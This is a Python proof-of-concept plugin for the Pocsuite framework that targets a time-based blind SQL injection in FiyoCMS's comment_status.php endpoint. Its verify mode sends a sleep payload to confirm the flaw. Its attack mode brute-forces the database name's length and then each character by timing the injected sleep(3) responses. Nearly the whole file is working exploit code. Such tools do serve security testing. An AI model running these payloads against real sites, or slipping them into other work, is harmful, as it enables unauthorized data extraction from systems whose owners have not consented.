#!/usr/bin/python
# -*- coding:utf-8 -*-

import string
import random
import time
import re
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register

def get_url(url, refer):
    try:
        httpreq = req.Session()
        headers = {
        "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0",
        "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
        "Content-Type": "application/x-www-form-urlencoded",
        "Referer": "refer"
        }
        resp = httpreq.get(url, headers=headers)
    except Exception as ex:
        resp = None
    return resp

def getLength(self,payload1):
    for i in range(1,100):
        payload='?stat=0&id=3 or if(length(database())=' + str(i) + ',sleep(3),1)#'
        refer = self.url
        starttime=time.time()
        resp = get_url(self.url + payload1 + payload,refer)
        endtime=time.time()
        b=endtime-starttime
        if b>3:
            data = getData(i,self,payload1)
            break
    return data

def getData(i,self,payload1):
    payloads = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.}{!&*'
    user=''
    for x in range(i):
        for pay in payloads:
            payload='?stat=0&id=3 or if(mid(database(),'+ str(x+1) + ',1) like ' + "'" + pay + "%" +"'" + ',sleep(3),1)#'
            print(payload)   
            refer = self.url
            starttime=time.time()
            resp = get_url(self.url + payload1 + payload,refer)
            endtime=time.time()
            b=endtime-starttime
            if b>3:
                user+=pay
                # break
    return user




class TestPOC(POCBase):
    name = 'fiyocms SQL Injection Vulnerability'
    vulID = '0'
    author = ['cws6']
    vulType = 'sql-inj'
    version = '1'
    references = ['http://p0desta.com/2018/10/15/fiyocms代码审计']
    desc = '''fiyocms dapur/apps/app_comment/controller/comment_status.php 存在时间盲注'''

    vulDate = '2018-10-15'
    createDate = '2019-04-13'
    updateDate = '2019-04-13'

    appName = 'fiyocms'
    appVersion = '2.0 1.8'
    appPowerLink = 'https://github.com/FiyoCMS/FiyoCMS'
    samples = ['re']

    
    def _attack(self):
        """attack mode"""
        result = {}
        payload1 = '/dapur/apps/app_comment/controller/comment_status.php'
        dbname1 = getLength(self,payload1)
        if dbname1:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url
            result['Database'] = {}
            result['Database']['DBname'] = dbname1
        return self.parse_output(result)
        
    def _verify(self):
        """verify mode"""
        result = {}
        payload1 = '/dapur/apps/app_comment/controller/comment_status.php'
        payload = '?stat=0&id=3 or if(1,sleep(5),1)#'
        refer = self.url

        starttime=time.time()
        resp = get_url(self.url + payload1 + payload,refer)
        endtime=time.time()
        b=endtime-starttime
        if b>5:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)

